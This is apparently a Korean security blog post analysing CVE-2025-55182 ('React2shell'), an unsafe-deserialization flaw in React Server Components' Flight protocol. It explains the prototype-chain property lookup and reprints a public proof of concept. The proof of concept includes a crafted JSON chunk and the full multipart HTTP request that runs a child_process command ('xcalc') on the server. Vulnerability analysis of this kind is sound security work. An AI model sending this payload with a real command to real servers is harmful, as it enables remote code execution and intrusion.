terminal

> whoami

해킹 & 보안을 공부하며 배운 것들을 기록하는 블로그입니다.
CTF, 웹 해킹, 시스템 해킹, 리버싱 등 다양한 주제를 다룹니다.

> cat status.txt

Online & Learning...

Web Hacking/CVE

CVE 2025-55182[React2shell] Analysis

React Server Components

React Server Component는 React19에 도입된 기능으로 컴포넌트를 클라이언트 브라우저가 아닌 서버에서 렌더링 할 수 있도록 합니다. 이 기능은 서버가 연산 집약적인 작업을 처리하는 동시에 렌더링된 결과만 클라이언트에 전송할 수 있으므로 상당한 성능 이점을 제공합니다.

RSC에서 서버와 클라이언트 간의 통신은 React Flight라는 프로토콜을 사용합니다. 이 프로토콜은 서버와 클라이언트 간에 전송되는 데이터의 직렬화 및 역 직렬화를 처리 합니다. 클라이언트가 서버측 함수를 호출해야 할 때, 직렬화된 데이터가 포함된 특수 형식의 요청을 전송하고 서버는 이를 역직렬화 하여 처리합니다.

Flight 프로토콜은 타입 마커가 포함된 특정 직렬화 형식을 사용 합니다.

더보기

$@ - 청크참조

$B - Blob 참조

참조에는 콜론으로 구분하여 속성 경로를 포함 함 수 있습니다. ($1:constructor:constructor)

이러한 직렬화 메커니즘에 취약점이 존재 합니다. 서버는 요청된 속성이 의도된 모듈에서 합법적으로 내보낸 것인지 제대로 검증하지 않고 이러한 참조를 처리합니다.

cve 2025-55182가 터지는 이유

cve 2025-55182는 React Sever Components가 수신 Flight 프로토콜 페이로드를 처리하는 방식에 존재하는 안전하지 않은 역직렬화 취약점 입니다. 이 취약점은 react-server-dom-webpack 패키지 내의 requireModule 함수에 존재합니다.

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // 추가 로직  
 return moduleExports[metadata[2]];  // 취약한 라인  
}

취약한 라인은 moduleExports[metadata[2]]에 있습니다.

metadata[2]는 클라이언트가 Flight 프로토콜을 통해 서버로 보낸 속성 이름(Property Name)입니다.

결함은 자바스크립트의 대괄호 표기법([])으로 속성에 접근할 때 발생합니다. 자바 스크립트 엔진은 단순히 해당 객체의 속성만 확인하는 것이 아니라 전체 프로토타입 체인(Prototype Chain)을 따라가면서 속성을 탐색합니다. 따라서 공격자는 모듈이 Export 하지 않은 속성까지 참조 할 수 있습니다.

 

cve 2025-55182의 공격 경로

공격자가 해당 취약점을 악용하여 RCE 취약점에 이르는 경로는 다음과 같습니다.

  1. constructor 속성 접근
    • 자바 스크립트에서 모든 함수는 constructor라는 속성을 가지고 있으며, 이 속성은 전역 Function 생성자를 가리킵니다.
    • 공격자가 someFunction.constructor를 호출하여 Function 생성자에 대한 참조를 얻으면 이를 통해 문자열 형태의 코드를 인수로 받아 실행 할 수 있게 됩니다.
  2. 페이로드 조작을 통한 우회
    • React의 Flight 프로토콜은 클라이언트가 콜론으로 구분된 참조 구문을 사용하여 속성 경로를 지정할 수 있도록 허용 합니다.
    • 공격자는 $1:constructor:constructor와 같은 악성 참조를 페이로드에 삽입 할 수 있습니다.
  3. 단계별 실행
    • $1: 해당 청크 모듈을 가져옵니다.
    • constructor : .constructor 속성에 접근하여 Function 생성자를 얻습니다.
    • constructor : Function 생성자 객체에 다시 .constructor를 호출합니다.

Maple3142 Proof-of-concept

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\\\"then\\\\":\\\\"$B1337\\\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}
  1. 가짜 청크 객체 생성
    공격은 서버에 세 개의 필드를 가진 멀티파트 폼 요청을 보내는 것으로 시작합니다. 첫 번째 필드에는 RSC의 내부 Chunk 클래스 구조를 모방한 악의적으로 조작된 객체가 포함 됩니다.
    • then 속성 조작: 해당 객체는 then 속성을 Chunk.prototype.then을 참조하도록 설정하여 자기 참조적 구조를 만듭니다.
    • Promise 로직 악용: React가 이 객체를 처리하고 청크가 해결되기를 기다릴 때, then 매서드가 이 가짜 청크 객체를 컨텍스트로 사용하여 호출됩니다. 이로서 공격은 다음 단계로 넘어갈 준비를 합니다.
  2. Blob 역직렬화 핸들러 악용
    공격의 두번째 핵심 요소는 value 필드에 있는 $B 핸들러 참조 입니다.
    • $B 참조의 역할 : React의 Flight 프로토콜에서 $B 접두사는 Blob 참조를 나타냅니다. React가 이 Blob 참조를 처리할 때, 내부적으로 response._fromData.get(response._prefix + id)와 유사한 함수를 호출하게 됩니다.
    • 공격 경로 결합
      • _formdata.get 오염 : 가짜 청크 객체에서 _formdata.get은 “$1:constructor:constructor”를 가리키도록 설정 되어 있습니다. “$1:constructor:constructor”은 결국 Function 생성자로 해석 됩니다.
      • 코드 주입 : _prefix 속성에는 실행하고자 하는 악성코드 문자열이 담겨 있습니다.
결과 Function("process.mainModule.require('child_process').execSync('xcalc');1337")

Maple3142 Proof-of-concept result

POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\\\"then\\\\":\\\\"$B1337\\\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  
  • 헤더 Next-Action: X는 React의 서버 액션 처리를 트리거합니다.
  • 멀티파티 본문 :
    • 필드 0 : 악성 _response 구조를 포함하는 가짜 Chunk 객체 입니다.
    • 필드 1 : $@0 참조입니다. 이는 필드 0을 다시 가리키는 자체 참조(self-reference)를 생성합니다.
    • 필드 2 : 필요한 구조를 완성하는 빈 배열 입니다.

작동 원리 :

서버가 이 요청을 처리할 때, 필드 0을 역직렬화 합니다. 그리고 필드 1에서 $@0 자체 참조를 만나게 되고, 이로 인해 자체 참조적인 then 속성을 설정합니다. 그 결과, Blob 핸들러가 트리거되어 Functuon 생성자를 통해 우리가 삽입한 코드가 실행 됩니다.